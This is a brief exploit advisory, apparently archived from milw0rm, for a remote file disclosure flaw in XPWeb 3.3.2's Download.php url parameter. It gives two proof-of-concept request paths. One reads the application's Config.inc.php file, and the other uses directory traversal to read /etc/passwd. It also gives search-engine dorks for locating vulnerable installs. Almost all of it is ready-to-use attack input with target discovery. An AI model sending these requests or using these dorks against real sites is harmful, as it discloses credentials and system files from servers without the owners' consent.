### XPWeb 3.3.2 (Download.php url) Remote File Disclosure Vulnerability ### http://puzzle.dl.sourceforge.net/sourceforge/xpweb/XPWeb_v3.3.2.tgz ### POC : ### /XPWeb_v3.3.2/Download.php?url=Config.inc.php ### /XPWeb_v3.3.2/Download.php?url=../../../../../../../etc/passwd ### Dorks : intitle:XPWeb 3.3.2 ### intitle:XPWeb 3.0.1 ### I'm tryagi .. TRYAG.Cc/cc # milw0rm.com [2008-02-17]